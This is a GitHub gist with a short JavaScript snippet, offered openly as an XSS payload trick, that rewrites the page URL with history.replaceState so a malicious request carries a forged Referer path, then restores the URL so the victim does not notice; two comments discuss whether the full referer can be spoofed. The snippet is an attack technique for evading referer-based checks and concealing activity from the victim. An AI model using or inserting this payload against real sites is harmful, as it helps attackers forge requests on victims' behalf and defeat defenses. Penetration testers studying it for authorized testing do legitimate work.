Skip to content

Instantly share code, notes, and snippets.

@hoodoer
Last active January 25, 2024 22:08
Show Gist options
  • Star 6 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save hoodoer/c4eb12b99d5902119fb30e8343b5b228 to your computer and use it in GitHub Desktop.
Save hoodoer/c4eb12b99d5902119fb30e8343b5b228 to your computer and use it in GitHub Desktop.
Code Snippet to Set 'Referer' Header using JavaScript (e.g. XSS Payload)
// Save the current URL path to restore after making
// malicious request with faked referer header value
var savedPath = window.location.pathname;
var savedSearch = window.location.search;
// Change URL/History to control the referer header value
// Swap out "/this-is-my-fake-referer-value" to be what you need
window.history.replaceState(null, '', '/this-is-my-fake-referer-value');
// Send malicious request with faked referer header value
// NOTE: this assumes you're using some xhr request, adjust
// based on whatever your XSS payload is actually doing
xhr.send(body);
// Restore the URL value to the original one before
// the XSS victim notices their location bar changed
window.history.replaceState(null, '', savedPath + savedSearch);
@iamajithkumar
Copy link

Is it possible to change the entire referrer header? Not the "/this-is-my-fake-referer-value" part. Is it possible to change it like "http://referer.com"?

@hoodoer
Copy link
Author

hoodoer commented Jun 7, 2021

Is it possible to change the entire referrer header? Not the "/this-is-my-fake-referer-value" part. Is it possible to change it like "http://referer.com"?

I'm afraid not, you can only control the relative path under the host.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment